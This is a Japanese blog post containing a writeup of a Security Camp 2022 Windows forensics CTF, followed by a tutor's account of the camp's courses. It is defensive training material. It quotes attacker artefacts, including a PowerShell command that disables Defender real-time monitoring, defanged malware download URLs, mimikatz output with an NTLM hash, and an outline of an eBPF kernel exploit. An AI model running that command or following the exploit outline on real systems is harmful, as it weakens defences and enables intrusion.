    • L2807ではイベントログが消去された形跡あり
  • L2807をフォレンジック調査へ

L2807の情報

以上を踏まえて、L2807のE01ファイルをAutopsyを用いて調査していく。

Writeup

Prep (Autopsyの操作)

Prep(1)
Prep(1)
解答
Prep(1) ans
以上より14509

Prep(2)
Prep(2)
解答
Prep(2) ans
以上より64424509440

Prep(3)
Prep(3)
解答
Prep(3) ans
以上よりWindows 10 Proと分かるので10

Prep(4)
Prep(4)
解答
Prep(4) ans
以上より2022-06-09 10:45:40 JST

/Users/Public/Documents下の怪しいファイル群を調べていく。(VirusTotalの使い方)

ハッシュ(1)
ハッシュ(1)
解答
ハッシュ(1) ans
c.exeのmd5ハッシュが9f5f35227c9e5133e4ada83011adfd63であるとわかり、これをVirusTotalで検索する。DetailsタブのNamesやFile Namesからcsvdeというプログラムであることがわかる。

ハッシュ(2)
ハッシュ(2)
解答 ハッシュ(1)と同じく、mi64.exeのmd5ハッシュはbb8bdb3e8c92e97e2f63626bc3b254c4と分かる。さらに、VirusTotalで検索すると、DetailsタブのSignature infoのSignersからBenjamin Delpyが署名者であると分かる。

ハッシュ(3)
ハッシュ(3)
解答 ハッシュ(1), (2)と同じく、pse.exeのmd5ハッシュはc590a84b8c72cf18f35ae166f815c9dfと分かる。VirusTotalのDetailsタブのSignature infoのFile Version Informationより、PsExec 2.34であると分かる。

永続メカニズムキー(ASEP)の調査 (Autopsy Autoruns Pluginを使います)

Registry Run Key
WOW6432Node/Microsoft/Windows/CurrentVersion/RunにてC:\Users\Public\Documents\diagmonu.exeが指定されており、diagmonu.exeの実行が永続化されている。他にASEPとして登録されているものを探す。

永続化(1)
永続化(1)
解答
永続化(1) ans
Data Artifacts > Scheduled Tasksを開き、CommandにてC:\Users\Public\Documents下の絶対パスが指定されているものを探すと、ldr_ie.exeがt2という名前でタスクとして登録されていることが分かる。

永続化(2)
永続化(2)
解答
永続化(2) ans
Scheduled Tasksをざっと眺めると永続化(1)で見つけたタスクt2と似た名前のt1というタスクが目に付く。このタスクではpowershellが呼ばれており、この時点で怪しすぎるわけだがさらにCommandを確認すると引数としてSet-MpPreference -DisableRealtimeMonitoring $Trueを渡して実行されている。Set-MpPreferenceはSet-MpPreference (Defender) | Microsoft Learnを確認すると分かるようにWindows Defenderを操作するコマンドであり、-DisableRealtimeMonitoringというパラメータに$False以外が渡されている場合はリアルタイムプロテクションが無効化されると書かれている。
永続化(2) ans2
Dumpの項目をさらに詳しく調べると、authorがRETRICKS\shizrikuとあるので、このタスクを作成したユーザ名はshizrikuである。

永続化(3)
永続化(3)
解答
永続化(3) ans
Data Artifacts > Servicesを開き、Image PathからC:\Users\Public\Documents下の絶対パスを探すとC:\Users\Public\Documents\ldr_od.exeがldr_odという名前でWin32_Own_Processというタイプのサービスとして登録されていることに気づく。キーの設定されたタイムスタンプは2022-06-12 14:06:14 JSTと特定できる。

C:\Users\Public\Documents下の各ファイルのタイムスタンプの解釈

タイムスタンプ(1)
タイムスタンプ(1)
解答
タイムスタンプ(1) ans
命名の類似性、およびAccess timeによるソートの結果より、mi.txtがmi64.exeによって作成されたと考えられる。

タイムスタンプ(2)
タイムスタンプ(2)
解答
タイムスタンプ(2) ans
CreatedとAccessdのタイムを確認すると、作成されてからアクセスされるまでの時間が短いのは自明にc.exeである。

タイムスタンプ(3)
タイムスタンプ(3)
解答
タイムスタンプ(3) ans
Created timestampがファイルの作成のタイムスタンプで、Modified timestampがファイルのデータが最後に更新された時刻。例えば、ファイルをあるディレクトリから別のディレクトリにコピーする場合、Createdは更新されますがModifiedは更新されない。さて、ここで各exeファイルのタイムスタンプはCreatedの後に、c.exeは即座に、他のexeは1, 2秒遅れでModifiedを更新しているので、ネットからダウンロードするとかzipから抽出するとかなどど、新しいファイルをデータ共々Documentsディレクトリに作成した時(つまりコピーとかではない)に、何かを原因として一部のファイルでは作成とデータの完全なるディスクへの書き込みの間にラグが発生している。この原因はファイルのサイズが大きいとディスクの書き込み処理に時間がかかるからだと考えられ、実際にラグが0秒のc.exeは最もファイルサイズが小さく2秒のdiagmonu.exeは最もサイズが大きいことがわかる。当日はextractだとかdownloadだとか書いてfailした記憶がありますが、この時点ではどのような方法でファイルを作成したのか判明していないことと、本質的な原因はファイルサイズであることを考えるとsizeと答えるのが適当。

SRUDB.datの解析

Autopsyを用いてSRUDB.datの存在するディレクトリsruを抽出する。GitHub - MarkBaggett/srum-dump: A forensics tool to convert the data in the Windows srum (System Resource Usage Monitor) database to an xlsx spreadsheet.を用いて、xlsxに落とし込み、libre Officeで解析していく。

SRUM(1)
SRUM(1)
解答
SRUM(1) ans
Application Resource UsageにCPU timeの値のカラムがある。Applicationのカラムにてdiagmonu.exeで条件を絞り、CPU time in Foregroundの8つの値を足し合わせて、12928803038240 が答えとなる。

SRUM(2)
SRUM(2)
解答
SRUM(2) ans
Network Data UsageにBytes Sentというカラムがある。SRUM(1)と同じくdiagmonu.exeで絞り、8つのBytes Sentの値を足し合わせ、48315 を得る。

SRUM(3)
SRUM(3)
解答
SRUM(3) ans
Application Resource UsageとNetwork Data UsageのApplicationカラムにてusers\publicで絞ると、前者では新たなexeファイルは見つからなかったが、後者ではdsq.exeというファイルが存在していたことがわかった。

Application Resource UsageとNetwork Data UsageのApplicationカラムにてusers\publicで絞り、出てきた各怪しいexeの列を黄色で塗りつぶしておく。

Network Data Usage suspicious
Application Resource Usage suspicious

SRUM(4)
SRUM(4)
解答 Application Resource UsageとNetwork Data Usageに対してチェックしていく。User SIDをS-1-5-18で固定する。Applicationではexeを含むものに取り敢えず絞る。AutopsyでのC:\Users\Public\Documents下のexeの最も古いCreated timestampは2022-06-12 13:25:39 JST。よってこれより新しいという条件でフィルタする。ただし、srumの方はUTCであることに注意。

具体的には、「User SID = S-1-5-18 (systemprofile) AND Srum Entry Creation >= 2022-06-12 03:46:00 AND Application Contains exe」でフィルタする。Application Resource UsageではSystem32のexeが非常に多かったので、「AND Application Does not contain System32」という条件を追加。

NDU filter
ARU filter
iexplore.exeというexeが何度も呼ばれているのが目に付く。そこで次は「User SID = S-1-5-18 (systemprofile) AND Application Contains iexplore.exe」という条件でフィルタする。
NDU iexplore.exe filter
ARU iexplore.exe filter
するとものの見事に、2022-06-12 4:25:39以降であることが分かる。 よってiexplore.exe

SRUM(5)
SRUM(5)
解答 例えばldr_odというWindowsサービスは永続化(3)より2022-06-12 14:06:14 JST(2022-06-12 05:06:14 UTC)に作成されていると考えられるので、この直前にサービスを登録したプログラムが存在しているはずである。よってSrum Entry Creationのフィルタを前述の時間を含むEntryつまり、「2022-06-12 04:48:00 >=」の条件で絞ってみる。
SRUM(5) ans
C:\Users\Public\Documents下のexeが実行されているあたりから確認すると、C:\Windows\SysWOW64\schtasks.exeが実行されているのがわかる。まさに、Windowsのタスクを追加するコマンドなので、schtasks.exe

今回は永続化(3)のldr_odの永続化のためのコマンド(例えばsc.exe)などを探そうとして、結果的には、t2としてldr_ie.exeをscheduled tasksに追加するのに使ったschtasks.exeが見つかることとなった。もっとも、永続化(2)の方を探そうと思っても同じフィルタを適用して探していたことだろう。

プリフェッチの解析

NirSoftのView the content of Windows Prefetch (.pf) filesを用いてプリフェッチファイルを使った調査を行う。Autopsyを用いてC:\Windows\prefetchディレクトリをエクスポート。WinPrefetchViewのOptions > Advenced Optionsからエクスポートしたprefetchディレクトリを指定することで、解析対象のE01の中のプリフェッチファイルの解析を行える。

プリフェッチ(1)
プリフェッチ(1)
解答
プリフェッチ(1) ans
以上より、2022-06-12 13:37:57

プリフェッチ(2)
プリフェッチ(2)
解答
プリフェッチ(2) ans
IEXPLORE.EXE-7A9337F2の方の関連ファイルにIEXPLORE.EXEは二つ存在しており(もう片方は一つだけ)、こちらはC:\PROGRAM FILES\INTERNET EXPLORER\IEXPLORE.EXEというImage Pathが存在しているので、正しいPathは\VOLUME{01d6677c18ea2be0-dc1925ef}\PROGRAM FILES\INTERNET EXPLORER\IEXPLORE.EXE

プリフェッチ(3)
プリフェッチ(3)
解答
プリフェッチ(3) ans
よって\VOLUME{01d6677c18ea2be0-dc1925ef}\USERS\SHIZRIKU.RETRICKS\APPDATA\LOCAL\MICROSOFT\CLR_V4.0\USAGELOGS\LDR_IE.EXE.LOG

プリフェッチ(4)
プリフェッチ(4)
解答
プリフェッチ(4) ans
以上より、\VOLUME{01d6677c18ea2be0-dc1925ef}\USERS\SHIZRIKU.RETRICKS\DOWNLOADS\コンサルティング要件定義書\コンサルティング要件定義書.LNK

プリフェッチ(5)
プリフェッチ(5)
解答
プリフェッチ(5) ans
Autopsyのkeyword searchで「要件定義書」で調べると、コンサルティング要件定義書.zipというファイルのLNKファイルが見つかる。zipファイルを展開したプログラムを探すことになる。 そこでwin_prefetch_view上で「zip」と検索すると7-ZIP関係のプログラムが見つかる。
プリフェッチ(5) ans 7-zip
さらに、7ZG.EXE-D9AA3A0B.pfの関連ファイルを確認するとコンサルティング要件定義書.ZIPが見つかるので、\VOLUME{01d6677c18ea2be0-dc1925ef}\PROGRAM FILES\7-ZIP\7ZG.EXEがZIPファイルを展開したプログラムであると分かる。

win_prefetch_view上でのFindコマンドが関連ファイルのFilenameまでを検索対象としていないようで、「コンサルティング要件定義書」という文字列で検索しても引っ掛からなかった。

単にpfファイルをざっと確認しても、7-ZIPくらいしかファイルの展開に関連しそうなプログラムは見つからないので、適当に関連ファイルを確認していくだけでもコンサルティング要件定義書.ZIPを見つけられると思われる。

Analysis

これまで学んだ各種アーティファクトやツール、Autopsyのkeyword searchを駆使してフォレンジック解析を進めていく。

Analysis(1)
Analysis(1)
解答
Analysis(1) ans
プリフェッチ(5)と同様に、Autopsyのkeyword searchにて「要件定義書」と検索して見つけたコンサルティング要件定義書.zip.lnkファイルのAccessed タイムスタンプを確認する。 2022-06-12 13:25:11 JST

Analysis(2)
Analysis(2)
解答
Analysis(2) ans
Autopsyのkeyword searchにて「要件定義書.zip」と検索して見つかる、Web Downloads Artifact、Web History Artifact、places.sqlite、これらは全て、「C:/Users/shizriku.RETRICKS/AppData/Roaming/Mozilla/Firefox/Profiles/ni6148kl.default-release/places.sqlite」というファイルから得られる情報である。これはFirefoxに関連するアーティファクトであり、https://support.mozilla.org/ja/kb/profiles-where-firefox-stores-user-dataによると、places.sqlite

すべてのブックマーク、ダウンロードしたファイルと表示したページのリストが含まれています。

とのこと 例えばWeb Downloads ArtifactのData Artifactsを確認すると、https.://form.run/admin/api/v1/form_attachments/xi9XLyaqtUlCSxPlCsMMw9sE3q5QxHsJeES3k7y9というURLからダウンロードされたことが分かる。

Analysis(3)
Analysis(3)
解答 C:\Users\Public\Documents下のファイル群の中で最初に作られたファイルはldr_od.exeである。Autopsy上でこのldr_od.exeのCreatedのタイムスタンプを右クリックし、View File in TimelineからFile Created > Show Timelineを選択し、全てのタイムスタンプ上での流れを確認する。
Analysis(3) timeline
すると、最も直近に実行されたファイル、つまりEvent TypeにてProgram Runとなっているのはpowershell.exeであると分かる。このデータはプリフェッチファイルから得られている。

あるいは、プログラムが実行された時には基本的にpfファイルが作られるんだということで、win_prefetch_viewのLast Run Timeのカラムからタイムスタンプを精査しても良い。

Analysis(3) pf
ldr_od.exeが作られた2022-06-12 13:25:39 JSTの最直近のpfファイルのタイムスタンプは、POWERSHELL.EXEのタイムスタンプであり、関連ファイルのFilenameにもldr_od.exeやldr_ie.exeやa64.exeなどが存在することから、powershell.exeが直近に実行されたexeとして扱うに相応しいと分かる。

Analysis(4)
Analysis(4)
解答 Analysis(3)のpowershell.exeのpfファイルの関連ファイルにldr_od.exeが存在しているので、powershellによってダウンロードされたのではという目処が立ち、よってダウンロード元のURLの情報はメモリ上に存在しているだろうという予測ができる。その上でAutopsy上で「ldr_od.exe」でキーワード検索する。 ldr_od.exeに関連するアーティファクトはかなりの数あるが、その中でもpagefile.sysの中に「107.173.166.18/ldr_od.exe」という文字列が散見され、このIPアドレスからダウンロードされていそうだなと予想できる。
Analysis(4) ans
特に、4486ページ目に決定的な証拠があり、http.://107[.]173[.]166[.]18/ldr_od.exeが答えであると分かる。(URLとして表示されないように[]や.を挿入している。)

あるいは、Autopsyのkeyword searchは正規表現で検索することができるので、「http(s)?://.*ldr_od.exe」と検索しても良い。

Analysis(4) reg exp search
そうすれば一発でURLがhttp.://107[.]173[.]166[.]18/ldr_od.exeであると分かる。

Analysis(5)
Analysis(5)
解答 Analysis(4)と同じように「http(s)?://.*ldr_ie.exe」で検索しすると、一つのアーティファクトC:\ProgramData\Microsoft\Windows Defender\Support\MpWppTracing-20220612-094419-00000003-ffffffff.binだけ見つかる。
Analysis(5) ans
以上よりhttp.://45[.]35[.]14[.]79/4n6/ldr_ie.exeと分かる。

ところでこのMpWppTracing-[0-9]{8}-[0-9]{6}-[0-9]{8}-ffffffff.binは、WPP Software Tracing - Windows drivers | Microsoft Learnにあるように、WPP Software Tracingという機能をドライバーが使えるイベントトレース機能関連のログのようで、今回のこのファイルはWindows Defender\Support下にあるように、Windows Defenderのトレースログのようである。

Analysis(5) MPLog
実際同じディレクトリに存在するMPLog How to Use MPLogs for Forensic Investigations | CrowdStrikeというアーティファクトに、WPP関連のイベントのログが存在し、そこでfilenameに上述の形式のbinファイルが明記されているので、間違いない。

もっともこのbinファイルにどのようなイベントが記録されるのかは謎で、Windows Defenderをrevするくらいしかなそう。Google Scholarでも一件だけ単にダウンロードされたファイルの名前が残っていたアーティファクトの紹介で載っているだけであり、Github上でもこのファイルから正規表現でdllやpdb等のファイル名を抜き出すpythonスクリプト一件しかヒットしない。 一つだけそれについて議論していそうなページSolved: MS Defender creating MsWppTracing files and hanging OS every 5 minutes. | Experts Exchangeを見つけたが、肝心なところから見えなくなっていて、Free Trialしたくないので(payment methodを要求されるので)閲覧できていない。

しかし、アーティファクトとして有用なのは間違いない。実際このbinファイルには他にもpowershellや各種コマンドの痕跡が残されている。例えばa64.exeも同じようにpowershell.exeを用いてダウンロードしていることが分かるし、永続化(2)と関連してcmd /c schtasksでpowershell Set-MpPreference -DisableRealtimeMonitoring $True /RU SYSTEM /SC ONSTARTがt1というタスクとして登録されているのが発見できる。

Analysis(6)
Analysis(6)
解答 ハッシュ(2)よりmi64.exeがmimikatz GitHub - gentilkiwi/mimikatz: A little tool to play with Windows securityであり、一連の流れでmi.txtがmi64.exeによって作られたと予想できる。
Analysis(6) pf
実際、mi64.exeのpfファイルの関連ファイルとしてmi.txtが存在する。 そして、mimikatzは平文パスワード、NTLMハッシュ、ピンコードやケルベロスチケットをメモリから抜き出す有名なソフトウェア。
Analysis(6) ans
このmi.txtには実際にshizrikuのNTLMハッシュが取得されており、a621b48e85488d38790fcbb8520e307e

Analysis(7)
Analysis(7)
解答 ldr_ie.exeはpfファイルを確認すると、4回実行されていることが分かる。これは、2022-06-12 13:37:59 JST、2022-06-12 13:44:05 JST、2022-06-12 13:49:26 JST、2022-06-12 13:58:29 JSTである。このタイムスタンプ全てにおいて、Autopsyのtimeline上で確認する。

Analysis(7) 2022-06-12 13:37:59 JST
Analysis(7) 2022-06-12 13:44:05 JST
Analysis(7) 2022-06-12 13:49:26 JST
Analysis(7) 2022-06-12 13:58:29 JST

ここで、候補となるexeファイルはiexplore.exeかielowutil.exeの二択であると分かる。一方で、a64.exeがldr_ie.exeの直前に実行されているので、例えばa64.exeからielowutil.exeが実行されている場合、時間軸上ではldr_ie.exeの直後に実行されていてもこれを「直後に実行されたexe」として答えて良いのかという問題がある。CTF的には両方提出すればどっちが答えである、でいいのだが、こちらの方が直後である、と納得したい。

さて、ielowutil.exeのpfファイルのタイムスタンプとldr_ie.exeのpfファイルのタイムスタンプはtimelineの表記上前後する時があり、iexplore.exeは必ずldr_ie.exeの後に実行されるというのが判断ポイントであると思いたいところだが、ielowutil.exeとldr_ie.exeのタイムスタンプ自体は1秒の単位までは完全に一致している。そして、Autopsyのpfファイルのタイムスタンプの順序を1秒より小さい時間の記録を元にtimeline上で整列しているのかは疑問である。というのも、今回の講義では扱わなかったがUsnJrnl$J上のpfファイルのcreateのタイムスタンプを比較すると全ての場合において、ldr_ie.exeのpfのタイムスタンプの方が、ielowutil.exeのpfのタイムスタンプより若かったからである。よって今回はこれは判断ポイントとして考慮しないことにする。

問題の趣旨として、ldr_ie.exeによって実行されるexeのことを聞こうとしているのは間違いない。ldr_ie.exeのバイナリの中にstringとしてiexploreは存在しているが、ielowutilという文字列は存在していないという点はまず、考慮に値する。しかし、ielowutilが実際に何をしているのかわからなかったこともあり、結局例えばiexplore.exeこそが直後であると決定づける証拠は見つからなかった。

答えは提出したところielowutil.exeではなかったのでiexplore.exeであった。しかし、後でざっと動的解析してみたところ*1ldr_ie.exeを実行してからiexplore.exeを実行されるまでの間に必ずielowutil.exeが実行されたので(a64.exeを実行しなくても実行された)、愚直に直後という言葉を文字通り捉えるのであればielowutil.exeの方が適当であるといえる。一方でこの問題自体はielowutil.exeを答えさせたい問題ではなく、恐らくldr_ie.exeはiexplore.exeというブラウザ経由で何かをするプログラムであるということを言いたいのであり、ielowutil.exeはiexplore.exeを起動する初期化的な役割をしているだけであってマルウェアの挙動の本質ではないことを考えるとiexplore.exeと解答してしかるべきとも言えそう。*2

例えばより捻くれた屁理屈として、「直後に実行された」という言葉に対してntoskrnl.exeとかも言えてしまうわけで、そういう解釈はさておき実際のインシデント調査を想定すると、ldr_ie.exeを実行直後にiexplore.exeが実行されていた、とまとめる方がAnalysisとしては意義のあることと考える。

Analysis(8)
Analysis(8)
解答
Analysis(8) ans
SRUMのNetwork Data UsageにてApplicationカラムでiexplore.exeで絞り、Bytes Sentの値を全て合計すると2143048となる。

まとめ

復習がてら調べていたらMPLog等のアーティファクトの存在に気づくことができたりと良かったです。

*1:Windows Defenderで検知されなかったが、このマルウェアはそれを狙って標準のiexplore.exeにコードを埋め込んで実行することで、検知を回避してC2サーバにアクセスしているらしい。

*2:iexplore.exeをウィンドウを開かないように実行するためにとしてActivator.CreateInstance(Type.GetTypeFromProgID("InternetExplorer.Application") )経由で呼び出すようにしたところ、ielowutil.exeがその前に実行されるようになってしまっていたとのこと。

seccamp 2022にチューターとして参加したお話

はじめに

タイトルの通りですが、セキュリティキャンプ2022に脅威解析クラス(Cトラック)のチューターとして参加させていただきましたので、その記録を残しておこうと思います。所々、去年2021の講義についても触れますが、自分は去年の受講生としての参加記を書いていないので、以下のリンクから去年と今年のCトラックのプログラムを確認してもらえるとわかりやすいかと思います。

セキュリティ・キャンプ全国大会2021オンライン プログラム:IPA 独立行政法人 情報処理推進機構

セキュリティ・キャンプ全国大会2022オンライン プログラム:IPA 独立行政法人 情報処理推進機構

Cトラックについて

今年のCトラックはC1のForensics、C2C3のKernel Exploit、C4C5のGoのソースコードの静的解析、C6C7のMalware Analysisの計4つの講義を聴く機会がありました。各講義の詳細は後に触れますが、どの講義も高難易度かつボリューミーで、濃密な5日間でした。全ての講義にハンズオンがあり、場合によっては受講者同士で相談し合って問題に取り組むなどしていて、知識を得て構造を理解するだけでなく、体験的にも理解するという素晴らしいものだったと思います。TSG内での自分の分科会の講義も見直して、よりハンズオン重視の内容へと改善していきたいですね。

また、Cトラックでは毎日講義終了後一時間程の、プロデューサーと講師を含んだCトラック関係者が集まって雑談する任意参加の会があって、ここでいろいろな話を聞くのも楽しかったです。もっともチューターは夕礼の時間と被ってしまって雑談会には途中参加という形にならざるを得ませんでしたが、これは如何ともし難いことです。

現地参加について

今年は去年とは違い、チューター(一部のトラックのチューターの人々は来ることができなかった)と講師は府中に集まったわけですが、やはり現地参加は良かったです。Twitterで拝見していた方々と顔を合わせることができましたから。休憩時間に講師方やプロデューサー方にちょっとした質問や相談を気軽にすることができたというのも助かりました。Cのチューターは二人いて、もう一人はmc4nfさんですが、彼の気さくな人柄もあってすぐに打ち解けることができて、5日間楽しかったですね。また、TSGerのつばめ先輩とhsjoihs先生と顔を合わせることができたのも嬉しかったです。

各講義について

ここからは各講義について、事前準備と講義の内容に触れて、事後の感想を記すということをやっていこうと思います。講義の内容といっても当日の内容のみを書いたわけではなく、C1とC4C5は自分の復習したことも盛り込まれていますが、復習までが講義のうちということでお願いします。C2C3とC6C7は自分の復習がまだ終わっておらず、講義内容のさわりを書いただけになっています。流石に3ヶ月たったのに何も出さないのはやばいということで中途半端な放出になっていますが、後で必ず、C2C3とC6C7の復習やWriteupを書いて出そうと思っています。 特定の講義についてまず先に確認したいかたは以下のリンクからそれぞれに飛んでください。

C1

C2C3

C4C5

C6C7

[C1] Forensics

(痕跡から手がかりを集める - アーティファクトの分析)

  • 概要

WindowsアーティファクトであるNTFSの$MFTのタイムスタンプ、永続化キー、SRUDB.dat、prefetchファイル等に対する解析を、Autopsyやその他ツール群を使ったCTF形式の演習で学ぶ。

  • 事前準備

自分は去年のseccampのC2(痕跡から手がかりを集める - アーティファクトの発見/分析技術)を受講し、それに感化されてからかなりForensicsについての勉強をしており、「インシデントレスポンス第3版」を完読したり、Eric Zimmerman's Toolsを一通り使ったり、$MFTのrawデータのフォーマットを確認したり、RedlineやFTK imagerでライブレスポンスの練習をしてみたり等々のことをやっていたので、この講義をサポートできる自信がありました。

講義を受けるための事前準備として、「Win10の仮想マシンを用意し、AutopsyをインストールしてE01ファイルを食わせてingest modulesをすること」が必要でしたので、キャンプ開始の前日(8/7)にDiscordで受講生と通話しながら環境構築をしました。比較的小さなE01ファイルでしたがingestには3時間かかったので、これは当日の朝に慌ててやってもどうにもならないやつだと気づいて念入りにメンションしたのが良かったのか、当日は受講生の皆さん全員が環境を用意して講義に臨むことができたようです。今年の受講生は事後アンケートを期限内に全員提出するという偉業を達成していましたし、優秀ですね。余談ですが、去年は僕が締め切りに遅れて足を引っ張っていました。

  • 講義内容

説明のために、去年のC2の講義との差分を共有しておくと、去年は$UsnJrnl:$JとSRUDB.datとRDP bitmap cacheの解析を行いました。今年はSRUDB.datは共通で、MFTのタイムスタンプ、永続化キー、prefetchファイル、そしてAutopsyを用いたキーワード検索が自分にとって新しく聴くことができた部分になります。

CTFの問題設定としては、マイニングぽいことをしている疑わしいファイルが見つかったWindows機において何が行われていたか、Autopsyを用いたE01ファイルの解析で読み解いていくというものでした。自分はTSG内でForensicsの分科会を開催したいという意思があり、しかしながら問題設定等に難儀していて未だ実行できていないわけですが、こうリアリティがあってかつ各アーティファクトの情報を使いながら全貌を把握する道筋が示された一連の問題を作ることができるというのは、やはり業務で実際のインシデントの解決を行なってきたプロの方にしかできないものであるなと感じました。

Windowsアーティファクトに関する分析調査の意義等の導入を終えた後、まずはファイルのhashに関して、疑わしい一連のexeファイルのhashをVirustotalで検索するなどして手がかりを掴むということを行いました。これは去年のC1(脅威調査と相関分析を用いて高度な攻撃を読み解こう)で扱っていた内容がこっちに入ってきたという感じです。次に、それらのexeファイルがASEP(Auto-Start Extensibility Point)によって永続化されているので、そのキーを特定しようという形で永続化キーを取り扱いました。Autorunsは動かして確かめたことはありましたが、AutopsyにAutoruns Pluginがあるとは初めて知りました。タスクスケジュール、Runキー、Windowsサービス等、複数の永続化キーをどのユーザーが作成したか等を含めて確認したのはいい演習になりました。

$MFTのタイムスタンプに関しては$SI属性だけでなく、$FN属性のタイムスタンプも応用で扱いました。$SIの改竄は容易なので$FNとの比較が効果的だったりするという話でした。$FNの改竄も確かインシデントレスポンス第3版で扱っていて、setmaceとかファイルをフォルダ間で移動させることで$FNを改竄する方法が載っているので試すと面白いと思います。setmaceのissueで去年のC4(UEFI BIOSセキュリティ)の講師のtandaさんを見つけて、みんな色々と勉強をしているんだなぁと思ったという小話を追記しておきます。

SRUDB.datは去年と同じく、srum-dumpを使って生成したxlsxファイルを使って解析しました。やはり、各プログラムの大まかな実行時間やPathやネットワーク使用履歴、ユーザーIDなどが確認できるのは非常に強力ですね。今回の講義では扱いませんでしたが、$UsnJrnl:$Jの情報も並行して利用するとより詳細な解析をすることができます。

prefetchファイルの解析はNirsoftのWinPrefetchViewを使って行いました。確か、$UsnJrnlの解析においてはこのpfファイルがCREATEされたりしたときにそのexeファイルが実行されたという解釈をしていた気がします。それはさて置き、このprefetchファイルの解析によってファイルシステム上から実体が消されていた怪しいファイルの存在が明らかになります。そのファイルのダウンロード元などを調べることでインシデントの全体の流れが見えてきます。ネットから拾ったファイルはexeファイルだけでなく、LNKファイルに関しても気をつけないといけませんね。

キーワード検索についてはAutopsy上でkeyword search ingest moduleを実行して行いました。pagefile.sysにはかなり有用な情報が残っているものですね。ここで受講者のAutopsyが起動しなくなるアクシデントが発生し、結局起動はできたもののingestの結果がなくなってしまっていて根本的な解決まで手助けできなかったことは残念でした。時間があったらingest後のindexの情報等をフォルダごとどうにかしてドライブ経由で送るなどの方法とれたかもしれませんが、多分講義時間中には厳しかった気がします。他にも、Autopsyはやはりメモリを食うので、VMが落ちてしまった等のアクシデントがたまに起こっていました。去年のC1でRedlineを使って怪しいプロセスを追って行った時も、VMのフリーズや動作が重い等の事象が発生していたので、フォレンジックの講義にはつきものかもしれません。

  • 事後の感想

今年のForensicsの講義も非常に充実した内容で面白かったです。チューターとしてもできる限りのサポートができたと思っています。CTF形式の演習は講義終了後に時間をとって、去年に引き続き今年も全完しました。もちろん$UsnJrnlとかは使わずに、今回の講義で扱った内容だけで全て解くことができたので、受講生の皆さんぜひチャレンジしてみてください。もっと時間が経ってから簡単なWriteupを書こうと今のところ考えています。その時に講義内容の詳細をもっと深掘りできるでしょう。

C1のCTF形式の演習

[C2C3] Kernel Exploit

(Advanced Linux Kernel Exploit)

  • 概要

eBPFの検証器のソースコードから脆弱性を見つけ、検証器のコード上で最大値と最小値の推測を間違えたレジスタを作り出すことで、ポインタをスカラーに変えてリークしたりALU sanitationを回避して範囲外書き込みを行ったりしてAAR/AAWを実現し、modprobe_pathもしくはcore_patternを書き換えてkernel landで任意のコードを実行する。

  • 事前準備

ptr-yudaiさんのこの講義は僕のチューター応募を最も後押ししたものです。いつかのタイミングでKernel Exploitに入門したいと考えていたので、今がちょうど良い時であると思いました。事前課題としてLinux Kernel Programmingという洋書を頂き、また、Pawnyableという素晴らしい資料サイトを閲覧することができました。Pawnyableは以下のリンクからご確認ください。

Linux Kernel Exploitation | PAWNYABLE!

チューターとして受講者のサポートができるほど精通しなければならないということで、Linux Kernel Programmingは9章まで読みました。この本もLinux Kernelのビルドからkernel moduleの作成、物理メモリをKernelがどのように扱っているのか、そしてKernelのAPIの違いなどをサンプルプログラムを動かすことで理解できる良書でした。UserlandのPwnに触れてきているため、ユーザープロセスから見たアドレス空間の理解はしていましたが、この本のおかげでKernelにおけるstackやheapなどLinux Kernelにとってのアドレス空間の全体図を把握することができました。もっとも、PawnyableにおいてExploitに必要なLinux Kernelの知識は尽くされているので、講義の準備のためにこの本をそこまで読み込む必要があったかと言われると、後述するeBPFの勉強の方をもっとやっておくべきだったという反省があります。C1の講義が終わった後にやばいやばいといいながらPawnyableのeBPFの章を読んでいました。

Pawnyableの方ではLinux Kernel Moduleの脆弱性をついた攻撃をサンプルの問題ともに学ぶことができました。全受講生がHolstein v1のexploitを書くことができていましたので、SMEP、SMAP、KPTI、KASLRなどKernel空間特有のセキュリティ機構のbypass方法を理解したことになります。

  • 講義内容

全然まとめられていないので、冬休みにちゃんとしたものを書こうと思いますが、ざっとだけ。 まず、eBPFについての導入と各命令について触れました。eBPFではkernel modeでユーザーが指定した機械語が実行されるので、やばい動作をしないよう検証器が存在しverifier.cで実装されています。今回はverifier.cの一部のコードにパッチが当てられており、ソースコードリーディングでこのパッチによってどのようなバグが生まれるかを特定するハンズオンを行いました。個人的には、ソースコードリーディングのためにbuildしていたlinuxのバージョンを間違えていてショックだったり、全然コードを読み進められなくてもっとコードを読み書きする必要性を感じたりしました。一方で、グループとしてはなんだかんだ議論しながら読んでいき、xorした結果の下32bitが定数だった時に検証器がレジスタの値の境界の条件である最大値と最小値の追跡を間違えている状態が作れる、という話に辿り着いていました。パッチやコードについて何も説明していないので、何が何だかわかりませんね。最終的にはAAR/AAWを実装して、modprobe_pathを書き換えて任意のコマンドを実行できるようになりましたが、その間にいくつもハードルがありました。また後日詳しい記事を書きたいと思います。

  • 事後の感想

内容の濃い講義でした。今後kernel exploitの問題にもチャレンジしていきたいです(と言いつつSECCONのbabypfに挑まずに寝てしまったんですが)。 受講生と通話しながらのハンズオンはとても良かったです。チームでCTFを解いている時と同じような体験で、1人でソースコードを読むよりやっぱり楽しいですね。

[C4C5] Goのソースコードの静的解析

(ソースコードから脆弱性を見つけよう)

  • 概要

Goのソースコードから得られた抽象構文木と型情報から、特定の挙動を検出する自前の静的解析ツールを作る。

  • 事前準備

この講義は事前にやっておくことは指定されていなかったので、何も準備せずに挑みました。とはいえ、GoのインストールやGOPATH, GOHOMEの設定などの準備、簡単にGoを書いてみる等は一応やっておくべきだったと思っています。

  • 講義内容

Cの他の講義と違い、プログラマー色の強い講義でした。自分はまともなプログラムを一切書いたことがなく、大変苦手とするところです。Goに関しても何も知っておらず、「Goのライブラリは全部ソースコードであってバイナリ形式ということはないんですか?」などといった初歩的な質問を現地でしていました。講義の頭では静的解析ツールを自作することの意義や、どこの部分を自作するのかといった導入がなされました。具体的には、ビルドして動かしてしまう前に静的解析をソースコードに対して行ってバグや脆弱性、あるいは悪意のあるコードを検出し対処することで修正のコストが下がるというメリットがあるようです。概要でも少し触れましたが、go/scanner, go/tokenによる字句解析や, go/parser, 